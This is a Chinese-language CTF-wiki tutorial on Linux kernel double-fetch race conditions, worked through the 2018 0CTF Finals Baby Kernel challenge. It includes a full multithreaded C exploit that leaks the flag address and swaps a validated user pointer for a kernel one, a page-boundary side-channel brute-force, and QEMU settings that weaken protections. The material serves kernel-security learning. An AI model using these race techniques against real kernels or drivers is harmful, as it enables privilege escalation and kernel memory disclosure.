文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载導讀Double Fetch二次取值是 Linux 內核 pwn 中最經典的一類條件競爭race condition漏洞內核對同一份用戶空間數據先後進行兩次取值第一次用於安全校驗、第二次用於實際使用而兩次取值之間存在一個可以被攻擊者精準利用的競態窗口。本文將從漏洞原理出發完整拆解 2018 0CTF Finals 的 Baby Kernel 題目包括 IDA 逆向分析驅動邏輯、構造數據結構、編寫多線程競爭 Exploit以及一種基於 mmap 頁邊界的側信道爆破思路並給出 QEMU 環境配置的全部注意事項。Double Fetch 漏洞概述Double Fetch直譯為「取值兩次」即在一次操作中要兩次或多次重新獲取某個對象的值。從漏洞原理上講它屬於條件競爭漏洞本質是內核態與用戶態之間的數據訪問競爭。它通常出現在以下兩種情況中有一大段數據要從用戶空間傳給內核空間但直接傳送整塊數據會造成較大的開銷因此選擇只向內核傳送一個指向用戶地址空間的指針在後續的操作中內核需要多次通過該指針獲取用戶空間的數據。在 Linux 等現代操作系統中虛擬內存地址通常被劃分為內核空間與用戶空間。內核空間負責運行內核代碼、驅動模塊代碼等權限較高用戶空間運行用戶代碼並通過系統調用進入內核完成相關功能。通常情況下用戶空間向內核傳遞數據時內核先通過copy_from_user等拷貝函數將用戶數據拷貝至內核空間進行校驗及相關處理但在輸入數據較為複雜時內核可能只引用其指針而將數據暫時保存在用戶空間進行後續處理。此時該數據存在被其他惡意線程篡改的風險造成內核驗證通過的數據與實際使用的數據不一致最終導致內核代碼執行異常。關於內核與用戶空間的權限劃分Ring0/Ring3、系統調用切換過程、copy_from_user/copy_to_user、printk/dmesg等基礎概念可參閱倉庫中的 Linux 內核 pwn 基礎知識 一節。典型觸發模型一個典型的Double Fetch漏洞原理如下圖所示一個用戶態線程準備數據並通過系統調用進入內核該數據在內核中有兩次被取用——內核第一次取用數據進行安全檢查如緩衝區大小、指針可用性等檢查通過後內核第二次取用數據進行實際處理。而在兩次取用數據之間另一個用戶態線程可創造條件競爭對已通過檢查的用戶態數據進行篡改在真實使用時造成訪問越界或緩衝區溢出最終導致內核崩潰或權限提升。從圖中可以清晰看到攻擊者構造的競態鏈路prepare data先準備一份能通過內核校驗的「合法」數據通過clone拆出兩條執行分支——一條發起syscall進入內核另一條在內核兩次取數的間隙執行malicious update篡改user data內核側則表現為1st fetch (check)與2nd fetch (real use)兩次獨立的取值操作。只要兩次取值之間沒有做一致性校驗攻擊者就能讓內核「檢查 A 數據、使用 B 數據」。需要說明的是Double Fetch 只是條件競爭漏洞的一種形態。同目錄下的 userfaultfd 使用筆記 介紹了另一種大幅提高競爭成功率的手段——利用用戶態缺頁處理機制精確卡死copy_from_user的執行時序。2018 0CTF Finals Baby Kernel 題目分析逆向分析驅動flag 硬編碼在 .ko 中題目提供了一個內核驅動模塊.ko文件。首先用 IDA 對驅動文件進行分析可見 flag 是硬編碼在驅動文件中的.data 段.data:0000000000000480 flag dq offset aFlagThisWillBe .data:0000000000000480 ; DATA XREF: baby_ioctl2A↑r .data:0000000000000480 ; baby_ioctlDB↑r ... .data:0000000000000480 ; flag{THIS_WILL_BE_YOUR_FLAG_1234} .data:0000000000000488 align 20h驅動主要註冊了一個baby_ioctl函數其中包含兩個功能當 ioctl 的cmd參數為0x6666時驅動將輸出 flag 的加載地址通過printk當 ioctl 的cmd參數為0x1337時首先進行三個校驗接著對用戶輸入的內容與硬編碼的 flag 進行逐字節比較一致時通過printk將 flag 輸出出來。其反彙編邏輯如下signed __int64 __fastcall baby_ioctl(__int64 a1, attr *a2) { attr *v2; // rdx signed __int64 result; // rax int i; // [rsp-5Ch] [rbp-5Ch] attr *v5; // [rsp-58h] [rbp-58h] _fentry__(a1, a2); v5 v2; if ( (_DWORD)a2 0x6666 ) { printk(Your flag is at %px! But I dont think you know its content\n, flag); result 0LL; } else if ( (_DWORD)a2 0x1337 !_chk_range_not_ok((__int64)v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)current_task) 4952)) !_chk_range_not_ok( v5-flag_str, SLODWORD(v5-flag_len), *(_QWORD *)(__readgsqword((unsigned __int64)current_task) 4952)) LODWORD(v5-flag_len) strlen(flag) ) { for ( i 0; i strlen(flag); i ) { if ( *(_BYTE *)(v5-flag_str i) ! flag[i] ) return 0x16LL; } printk(Looks like the flag is not a secret anymore. So here is it %s\n, flag); result 0LL; } else { result 0xELL; } return result; }數據結構與校驗邏輯其中_chk_range_not_ok用於檢查指針及長度範圍是否指向用戶空間。通過對驅動文件功能的分析可以得到用戶輸入的數據結構體如下大小為 0x10 字節00000000 attr struc ; (sizeof0x10, mappedto_3) 00000000 flag_str dq ? 00000008 flag_len dq ? 00000010 attr ends對應的 C 語言等價描述為struct attr { char *flag_str; size_t flag_len; };驅動在cmd0x1337分支中所做的三項檢查依次為輸入的數據指針即attr *本身是否指向用戶態數據_chk_range_not_ok(v2, 16, ...)檢查結構體自身 16 字節是否位於用戶空間可訪問範圍內結構體內的flag_str是否指向用戶態_chk_range_not_ok(v5-flag_str, flag_len, ...)檢查待比較字串的指針與長度是否在用戶空間範圍內flag_len是否等於硬編碼 flag 的長度LODWORD(v5-flag_len) strlen(flag)由硬編碼可知 flag 長度為 33。從反彙編可見檢查完成後內核沒有把數據拷回內核空間而是在for循環中逐字節地通過v5-flag_str i再次訪問用戶空間內存——這正是 Double Fetch 漏洞的核心成因檢查時取一次值、使用時又取一次值兩次取值之間沒有任何一致性保證。解題思路根據Double Fetch漏洞原理可以發現此題存在一個可利用的競態當用戶輸入數據通過驗證後再將flag_str所指向的地址改為 flag 的硬編碼地址內核的逐字節比較便會直接讀取內核空間中的真實 flag進而通過printk輸出 flag 內容。具體分三步獲取 flag 內核地址利用提供的cmd0x6666功能通過printk泄露 flag 的加載地址。內核中以printk輸出的內容可以通過dmesg命令查看在 exploit 中可以將dmesg的內容輸出到文件再打開該文件進行解析。構造符合cmd0x1337功能的數據結構flag_len從硬編碼直接獲取為33flag_str先指向一個用戶空間地址一個能通過用戶空間範圍檢查的合法地址。創建惡意線程製造競爭不斷地將flag_str所指向的用戶態地址修改為 flag 的內核地址使其在「檢查通過」與「實際使用」之間完成切換只要有一次命中內核就會把內核空間中的真實 flag 逐字節比較通過並輸出。之所以不能直接把內核地址傳給驅動雖然 flag 存儲的地址已知但它位於內核地址空間中直接傳給模塊會無法通過_chk_range_not_ok的用戶空間範圍檢查因此必須借助 Double Fetch——先傳入一個用戶地址空間上的合法地址開另一個線程進行競爭不斷修改其為內核空間 flag 的地址只要有一次命中便能獲得 flag。Exploit 完整實現第一版直觀的競爭實現下面的 exploit 直觀地展示了「主線程校驗 惡意線程篡改」的完整競態模型編譯命令為gcc -static exp.c -lpthread -o exp// gcc -static exp.c -lpthread -o exp #include string.h char *strstr(const char *haystack, const char *needle); #define _GNU_SOURCE /* See feature_test_macros(7) */ #include string.h char *strcasestr(const char *haystack, const char *needle); #include stdio.h #include stdlib.h #include unistd.h #include sys/types.h #include sys/stat.h #include sys/ioctl.h #include fcntl.h #include pthread.h #define TRYTIME 0x1000 //碰撞次數 #define LEN 0x1000 struct attr { char *flag; size_t len; }; unsigned long long addr; int finish 0; char buf[LEN1]{0}; //線程函數不斷修改flag指向的地址為內核中flag地址 void change_attr_value(void *s){ struct attr * s1 s; while(finish0){ s1-flag addr; } } int main(void) { int addr_fd; char *idx; int fd open(/dev/baby,0); int ret ioctl(fd,0x6666); pthread_t t1; struct attr t; setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); //獲取內核硬編碼的flag地址 system(dmesg /tmp/record.txt); addr_fd open(/tmp/record.txt,O_RDONLY); lseek(addr_fd,-LEN,SEEK_END); read(addr_fd,buf,LEN); close(addr_fd); idx strstr(buf,Your flag is at ); if (idx 0){ printf([-]Not found addr); exit(-1); } else{ idx16; addr strtoull(idx,idx16,16); printf([]flag addr: %p\n,addr); } //構造attr數據結構 t.len 33; t.flag buf; //新建惡意線程 pthread_create(t1, NULL, change_attr_value,t); for(int i0;iTRYTIME;i){ ret ioctl(fd, 0x1337, t); t.flag buf; } finish 1; pthread_join(t1, NULL); close(fd); puts([]result is :); system(dmesg | grep flag); return 0; }這段代碼的關鍵設計點ioctl(fd, 0x6666)觸發驅動打印 flag 地址然後system(dmesg /tmp/record.txt)將內核日誌落盤再用strstr定位Your flag is at 並通過strtoull解析出地址t.len 33; t.flag buf;構造通過校驗的初始結構體其中buf是位於用戶空間的可讀緩衝區能通過用戶空間範圍檢查惡意線程change_attr_value在主循環期間無限將t.flag覆蓋為內核 flag 地址而主線程每次 ioctl 前又將t.flag恢復為buf形成「合法值 / 內核地址」交替的競態拉鋸競爭次數TRYTIME取0x10004096 次在一次競爭窗口命中後驅動便會以printk(Looks like the flag is not a secret anymore...)輸出真實 flag。第二版穩定化改良的 exploit倉庫中文版對上述 exploit 進行了工程化改良增加了成功判定、輸出解析與線程回收核心競爭模型一致但更貼近實戰。其主流程為打開/dev/baby→ioctl(0x6666)泄露地址 → 解析 dmesg → 啟動競態線程 → 循環校驗並用dmesg | grep flag檢查是否命中 → 命中後從輸出中提取 flag。相關完整代碼可見 中文版 double-fetch.md。兩種寫法共同說明了 Double Fetch 利用的兩大要素一個能通過校驗的「誘餌」用戶地址與一個持續將其切換為目標內核地址的競態線程。Extra基於 mmap 頁邊界的側信道爆破非預期解法除競態利用外此題還存在一種側信道攻擊的非預期解法其依據在於驅動在逐字節比較時從不校驗flag_str指向的內存是否可讀。考慮如下內存佈局/* | | ---- unallocated page | | | | |------------------------------| | | | | | | | | ---- page alloc by mmap | | | | | flag{...X| |------------------------------| | | | | | | ---- unallocated page */思路是將待爆破的字符串放在通過 mmap 分配的內存頁末尾使其最後一個字符X待爆破的未知字符恰好落在頁面邊界上而下一字節位於不可讀寫的用戶態空間。爆破的判定邏輯如下若待比較字符X比對失敗則 ioctl 會直接返回返回0x16若比對成功內核會繼續訪問下一字節——即flag_str指針移動到下一張不可讀的內存頁中進行解引用由於該地址不可讀將直接造成kernel panic。由於 flag 被硬編碼在.ko文件中故通過「是否造成 kernel panic」這一可觀測信號就可以逐字符爆破出完整的 flag。由於 ASCII 可見字符為 95 個flag 長度 33去掉開頭flag{與末尾}共 6 個字符最多只需要爆破26 × 95 2470次便能獲得 flag。配套的爆破程序將已知 flag 前綴作為命令行參數傳入每次調用只驗證一個未知字符先mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0)申請一頁內存再把flag_addr buf 0x1000 - flag_len將輸入的已知前綴放到頁末隨後直接調用ioctl(fd, 0x1337, flag)觀察是否 panic完整代碼見 中文版 double-fetch.md 的側信道章節。該手法本質上是利用「內核越權讀取不可訪問內存必然觸發 kernel panic」這一可觀測行為將逐字節比較轉化為一個 oracle 查詢是內核 pwn 中非常經典的側信道思路。環境配置注意事項此題在環境配置時有幾點需要注意否則會直接導致利用失敗或環境不可用。關閉 dmesg_restrict需關閉dmesg_restrict否則無法查看printk信息即無法獲取 flag 地址、也無法讀取輸出的 flag。具體操作是在啟動腳本中加入echo 0 /proc/sys/kernel/dmesg_restrict不要開啟 SMAP 保護配置 QEMU 啟動參數時不要開啟SMAP保護否則內核在直接訪問用戶態數據時會引起kernel panic。關於 SMAP/SMEP 的詳細原理內核空間直接訪問/執行用戶空間數據的限制、ret2usr 與 ret2dir 繞過思路可參考 內核基礎知識中的 Mitigation 小節。必須配置多核啟動配置 QEMU 啟動參數時需要配置為非單核單線程啟動否則無法觸發題目中的競爭條件競態窗口需要線程並行執行才存在。具體操作是在啟動參數中增加內核數選項例如-smp 2,cores2,threads1 \在啟動後可通過/proc/cpuinfo查看當前運行的內核數及超線程數。完整啟動腳本示意結合倉庫中的 QEMU 模擬環境搭建指南一個可用的啟動腳本形如#!/bin/sh qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel ./bzImage \ -initrd ./rootfs.img \ -append root/dev/ram rw consolettyS0 oopspanic panic1 nokaslr \ -smp 2,cores2,threads1 \ -cpu kvm64其中-smp 2,cores2,threads1保證多核以觸發競爭調試時可附加nokaslr關閉隨機偏移、用-s即-gdb tcp::1234開啟 gdbserver 配合gdb -q -ex target remote localhost:1234進行內核調試。小結與延伸閱讀Double Fetch 的利用核心可以概括為三句話內核校驗與使用之間存在取值窗口攻擊者用第二個線程在這個窗口內完成數據篡改漏洞危害取決於「被校驗的數據」與「被使用的數據」之間的差異。以 0CTF Finals Baby Kernel 為例漏洞本身只是內核重複取用用戶指針且不做一致性校驗攻擊者無需任何堆利用技巧僅憑「合法地址 ↔ 內核地址」的競態切換即可讓內核主動吐出硬編碼的 flag。如果想繼續深入 Linux 內核 pwn 的相關主題可繼續閱讀倉庫內的以下文檔Linux 內核 pwn 基礎知識Ring0/Ring3、系統調用、copy_from_user、SMAP/SMEP、KASLR、KPTI 等前置知識QEMU 模擬環境搭建busybox 文件系統、QEMU 啟動參數、內核調試userfaultfd 在條件競爭中的使用比純輪詢競態更穩定的競爭窗口控制手法同目錄下其他內核利用主題ROP 繞過 SMEP、ret2usr 與 ret2dir、initramfs 啟動腳本技巧。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐CTF-Wiki Linux 用戶態 Pwn 條件競爭Race Condition漏洞攻防全解析CTF Wiki Linux 用戶態 Pwn 條件競爭Race Condition漏洞攻防全解析 導讀 條件競爭Race Condition是 Lin文档网络安全教程ctf-wiki 內核 Pwn 實戰用 QEMU 搭建 Linux 內核模擬與調試分析環境ctf wiki 內核 Pwn 實戰用 QEMU 搭建 Linux 內核模擬與調試分析環境 本篇技術指南以 ctf wiki 內核 Pwn 知識體系中的環境搭文档网络安全教程CTF-Wiki 內核 PwnLinux SLUB freelist 劫持與 modprobe_path 提權實戰RWCTF2022 Digging into kernel 全解析CTF Wiki 內核 PwnLinux SLUB freelist 劫持與 modprobe_path 提權實戰RWCTF2022 Digging int文档网络安全教程上一篇探秘OpenJob一个开源的职位发布与搜索平台下一篇【亲测免费】 探索Python-LinkedIn解锁LinkedIn API的强大力量创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考